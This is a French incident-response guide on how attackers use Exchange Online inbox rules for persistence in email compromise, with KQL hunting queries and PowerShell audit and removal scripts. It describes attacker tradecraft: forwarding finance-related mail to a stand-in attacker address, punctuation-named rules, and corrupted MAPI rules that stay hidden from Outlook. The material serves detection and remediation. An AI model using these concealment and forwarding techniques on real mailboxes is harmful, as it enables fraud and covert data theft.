Règles de boîte & manipulation furtive comme persistance

Lors d’une compromission de messagerie d’entreprise (BEC) ou d’une intrusion cloud avancée, les règles de boîte de réception Exchange Online (Inbox Rules) constituent le mécanisme post-accès le plus systématiquement déployé par les cybercriminels. Une fois dans la boîte de sa cible, l’attaquant poursuit deux objectifs immédiats : l’évasion défensive (étouffer les alertes de sécurité, les notifications bancaires et les interrogations des collègues) et l’exfiltration automatisée (transférer les flux financiers sensibles vers une boîte de collecte externe).

Si les règles ordinaires sont aisément configurables depuis Outlook Web App (OWA) ou Outlook Desktop, les attaquants aguerris déploient des techniques d’obscurcissement redoutables — telles que le nommage par ponctuation trompeuse (".", "..", " ") ou la corruption de règles MAPI, rendant ces points de persistance totalement invisibles dans les clients graphiques de l’utilisateur.

Ce guide propose une dissection technique approfondie des règles de boîte dans Exchange Online, analyse l’anomalie des règles MAPI cachées, décode la télémétrie du Unified Audit Log (UAL) et fournit des requêtes de détection KQL ainsi que des scripts PowerShell d’éradication.

---

1. Mécanismes architecturaux : évaluation côté serveur

Dans Exchange Online, les règles de boîte sont exécutées par le pipeline Exchange Store Driver :

graph TD
    INCOMING[Email Entrant Traversant EOP] --> STORE[Distribution par le Store Driver]
    STORE --> RULES_EVAL{Évaluateur de Règles de Boîte}

    RULES_EVAL -->|Condition : Objet contient 'facture / virement'| ACT_FWD[Action : ForwardTo / RedirectTo<br/>Envoi d'une copie vers la boîte externe pirate]
    RULES_EVAL -->|Condition : Émis par sécurité / DSI / banque| ACT_DEL[Action : DeleteMessage / MoveToFolder<br/>Déplacement vers \RSS Subscriptions ou \Deletions]
    RULES_EVAL -->|Règle par défaut| ACT_INBOX[Dépôt normal dans \Inbox]

    ACT_FWD --> EXFIL[(Boîte de Collecte Pirate)]
    ACT_DEL --> BLIND[La victime ne voit jamais le message]
    ACT_INBOX --> USER_SEES[Expérience utilisateur normale]

1.1 règles côté serveur vs règles client seul

• Règles côté serveur (Server-side) : exécutées de manière autonome par le moteur de stockage Exchange Online dès le dépôt du message, que l’utilisateur soit connecté, déconnecté ou que son poste soit éteint. Toutes les actions de transfert, redirection et suppression s’opèrent côté serveur.
• Règles client seul (client-only) : dépendent de l’exécution locale du client lourd Outlook (ex. déclencher une alerte sonore ou imprimer un document). Les attaquants créent quasi exclusivement des règles côté serveur.

1.2 le double objectif : évasion & exfiltration

Les attaquants configurent leurs règles pour remplir deux missions simultanées :

1. Évasion défensive (masquage de l’intrusion) :
   • Déplacement des emails de la sécurité, de la banque ou des victimes vers des dossiers discrets : \Archive, \Junk Email, \Conversation History ou \RSS Subscriptions.
   • Marquage systématique comme lu (MarkAsRead = $true) et suppression immédiate (DeleteMessage = $true).
2. Exfiltration automatisée :
   • Configuration de ForwardTo ou RedirectTo vers une adresse externe (ex. drop-financier@domaine-attaquant.com) pour tous les courriels contenant des mots-clés stratégiques (facture, virement, RIB, bancaire, paiement, audit, SWIFT).

---

2. Techniques de dissimulation : ponctuation trompeuse & règles MAPI « invisibles »

Pour empêcher le collaborateur de repérer la règle dans les paramètres d’Outlook, les attaquants emploient des méthodes d’évasion spécifiques :

graph TD
    TECH[Techniques de Dissimulation de Règles] --> T1[Technique 1 : Nommage Trompeur / Espaces<br/>Noms : '.', '..', ' ', 'None', 'Archive']
    TECH --> T2[Technique 2 : Camouflage en Sous-Dossiers<br/>Cibles : \RSS Subscriptions, \Sync Issues]
    TECH --> T3[Technique 3 : Corruption de Règles MAPI<br/>Injectées via EWS/MAPI, invisibles dans l'IHM OWA]

2.1 le modèle de nommage trompeur

Les attaquants nomment fréquemment leurs règles avec des caractères de ponctuation isolés ou des espaces vides :

• Nom de règle : .
• Nom de règle : (un espace)
• Nom de règle : ..

Dans l’interface graphique d’Outlook, une règle nommée . ressemble à une ligne vide ou à un artefact d’affichage, couramment négligé lors d’un contrôle visuel rapide.

2.2 l’anomalie des règles MAPI « invisibles »

Une technique particulièrement redoutable consiste à injecter des règles directement via l’API MAPI ou Exchange Web Services (EWS) plutôt que par OWA :

1. Injection dans la table des éléments associés (associated contents) :
   • Les règles de boîte sont stockées sous forme d’éléments cachés FAI (Folder Associated Information) dans la table associée du dossier Inbox.
2. Échec de rendu dans l’interface graphique :
   • Si un attaquant injecte une règle dont les propriétés MAPI standard (PR_RULE_NAME ou PR_RULE_PROVIDER) sont volontairement corrompues, manquantes ou modifiées, les interfaces Outlook Web App et Outlook Desktop échouent à afficher la règle.
   • Lorsque le collaborateur ouvre le menu « Règles » dans OWA, l’interface affiche une liste vide ou retourne une erreur générique : « Une erreur s’est produite lors du chargement de vos règles ».
3. Continuité de l’exécution serveur :
   • Bien qu’invisible dans l’interface graphique utilisateur, le moteur Exchange Store Driver continue d’exécuter impeccablement les actions de la règle à chaque email reçu !

Invalidation des vérifications graphiques

Ne vous fiez jamais à Outlook Web App ou au client Outlook pour certifier l’absence de règles malveillantes. Seule l’interrogation PowerShell directe (Get-InboxRule) ou l’inspection bas-niveau MAPI révèle la table réelle des règles.

---

3. Télémétrie forensique dans le unified audit log (UAL)

Toute création ou modification de règle de boîte produit un événement d’audit dans le UAL de Purview :

• RecordType : ExchangeItem (50) ou ExchangeAdmin (2)
• Operations : New-InboxRule, Set-InboxRule, UpdateInboxRules

// Exemple : JSON AuditData extrait du UAL pour New-InboxRule
{
  "CreationTime": "2026-03-24T09:12:45",
  "Id": "1a2b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d",
  "Operation": "New-InboxRule",
  "OrganizationId": "8f3b6a9c-2d1e-4b5a-9f8e-7c6b5a4d3e2f",
  "RecordType": 1,
  "ResultStatus": "True",
  "UserKey": "victim@target.com",
  "UserType": 0,
  "Workload": "Exchange",
  "ClientIP": "198.51.100.22",
  "UserId": "victim@target.com",
  "MailboxOwnerUPN": "victim@target.com",
  "ClientInfoString": "Client=REST;Client=OWA;Action=ViaProxy",
  "Parameters": [
    { "Name": "Name", "Value": "." },
    { "Name": "Mailbox", "Value": "victim@target.com" },
    { "Name": "SubjectContainsWords", "Value": "facture;virement;RIB;paiement;banque" },
    { "Name": "ForwardTo", "Value": "drop-externe@domaine-attaquant.com" },
    { "Name": "MarkAsRead", "Value": "True" },
    { "Name": "DeleteMessage", "Value": "True" }
  ]
}

Points d’investigation majeurs :

• Parameters[Name] : révèle les noms trompeurs (".").
• Parameters[ForwardTo] / Parameters[RedirectTo] : fournit l’adresse de collecte externe de l’attaquant.
• Parameters[DeleteMessage] : prouve la volonté délibérée de dissimulation forensique.
• ClientIP : permet de remonter directement à l’adresse IP du proxy ou du rejeu de session de l’attaquant.

---

4. Requêtes de chasse KQL en production

4.1 détection des règles de boîte suspectes (transfert externe OU suppression)

Identifier les règles de boîte créées ou modifiées intégrant des redirections externes ou des suppressions automatiques :

CloudAppEvents
| where TimeGenerated >= ago(14d)
| where ActionType in ("New-InboxRule", "Set-InboxRule")
| extend Raw = parse_json(RawEventData)
| extend Parameters = Raw.Parameters
| mv-expand Parameters
| extend ParamName = tostring(Parameters.Name), ParamValue = tostring(Parameters.Value)
| summarize
    RuleParams = make_bag(pack(ParamName, ParamValue)),
    ClientIP = take_any(tostring(Raw.ClientIP)),
    ClientApp = take_any(tostring(Raw.ClientInfoString))
    by TimeGenerated, AccountDisplayName, ActionType
| extend RuleName = tostring(RuleParams.Name),
         ForwardTo = tostring(RuleParams.ForwardTo),
         RedirectTo = tostring(RuleParams.RedirectTo),
         DeleteMessage = tostring(RuleParams.DeleteMessage),
         MoveToFolder = tostring(RuleParams.MoveToFolder),
         Keywords = tostring(RuleParams.SubjectContainsWords)
| where isnotempty(ForwardTo) or isnotempty(RedirectTo) or DeleteMessage == "True" or RuleName in (".", "..", " ", "None")
| project TimeGenerated, AccountDisplayName, ActionType, RuleName, ForwardTo, RedirectTo, DeleteMessage, MoveToFolder, Keywords, ClientIP
| sort by TimeGenerated desc

4.2 corrélation de création de règle avec une connexion douteuse

Repérer les règles créées dans un délai de 2 heures suivant une connexion hostile depuis un pays inconnu :

let SuspiciousSignins = SigninLogs
| where TimeGenerated >= ago(7d)
| where ResultType == 0
| where NetworkLocationDetails has "Unknown" or RiskLevelDuringSignIn in ("high", "medium")
| project SigninTime=TimeGenerated, UserPrincipalName, SigninIP=IPAddress, SigninLocation=Location;
CloudAppEvents
| where TimeGenerated >= ago(7d)
| where ActionType in ("New-InboxRule", "Set-InboxRule")
| extend ClientIP = tostring(parse_json(RawEventData).ClientIP)
| join kind=inner (SuspiciousSignins) on $left.AccountDisplayName == $right.UserPrincipalName
| where TimeGenerated between (SigninTime .. (SigninTime + 2h))
| project TimeGenerated, AccountDisplayName, ActionType, ClientIP, SigninIP, SigninLocation, RawEventData
| sort by TimeGenerated desc

---

5. Playbook forensique d’extraction et remédiation PowerShell

5.1 script d’audit exhaustif des règles de boîte sur tout le tenant

Extraire et analyser toutes les règles de boîte actives de l’organisation :

# Connexion à Exchange Online
# Connect-ExchangeOnline

Write-Host "[*] Audit des règles de boîte de réception sur l'ensemble du tenant..." -ForegroundColor Cyan

$mailboxes = Get-Mailbox -ResultSize Unlimited -RecipientTypeDetails UserMailbox
$suspiciousRules = @()

foreach ($mbx in $mailboxes) {
    try {
        $rules = Get-InboxRule -Mailbox $mbx.UserPrincipalName -ErrorAction Stop
        foreach ($rule in $rules) {
            $isSuspicious = $false

            # Alerte si transfert, redirection ou suppression automatique
            if ($rule.ForwardTo -or $rule.RedirectTo -or $rule.DeleteMessage) {
                $isSuspicious = $true
            }
            # Alerte si nom composé de ponctuation ou d'espaces
            if ($rule.Name -match "^[\s\.]+$") {
                $isSuspicious = $true
            }

            if ($isSuspicious) {
                $suspiciousRules += [PSCustomObject]@{
                    Mailbox        = $mbx.UserPrincipalName
                    RuleName       = $rule.Name
                    Enabled        = $rule.Enabled
                    Priority       = $rule.Priority
                    ForwardTo      = ($rule.ForwardTo -join "; ")
                    RedirectTo     = ($rule.RedirectTo -join "; ")
                    DeleteMessage  = $rule.DeleteMessage
                    MoveToFolder   = $rule.MoveToFolder
                    SubjectContains= ($rule.SubjectOrBodyContainsWords -join "; ")
                }
            }
        }
    }
    catch {
        Write-Warning "Impossible d'interroger les règles pour : $($mbx.UserPrincipalName) (Corruption MAPI possible)"
    }
}

# Exportation des résultats
$suspiciousRules | Export-Csv -Path "C:\DFIR\Regles_Boite_Suspectes.csv" -NoTypeInformation
Write-Host "[+] Audit terminé : $($suspiciousRules.Count) règle(s) suspecte(s) identifiée(s)." -ForegroundColor Green
$suspiciousRules | Format-Table Mailbox, RuleName, ForwardTo, DeleteMessage

5.2 suppression ciblée d’une règle malveillante

# Supprimer une règle malveillante sur la boîte victime
$victim = "victim@target.com"
$maliciousRuleName = "."

# Détection et éradication
$targetRule = Get-InboxRule -Mailbox $victim | Where-Object { $_.Name -eq $maliciousRuleName }
if ($targetRule) {
    Remove-InboxRule -Mailbox $victim -Identity $targetRule.Identity -Confirm:$false
    Write-Host "[+] Règle malveillante '$maliciousRuleName' supprimée avec succès sur $victim" -ForegroundColor Green
}

---

6. Maillage interne & navigation

• Fiche précédente : 26. Taxonomie des Techniques de Persistance Cloud M365
• Fiche suivante : 28. Redirections de Mail, Règles de Transport & Abus de Connecteurs
• Fiches complémentaires :
  • 13. Dissection approfondie du unified audit log (UAL)
  • 17. Audit de boîte mail & analyse de MailItemsAccessed
  • 19. Kill chain de compromission de compte M365
  • 21. Mécanismes du reverse proxy adversary-in-the-middle (AiTM)
  • 22. Détection forensique & investigation des attaques AiTM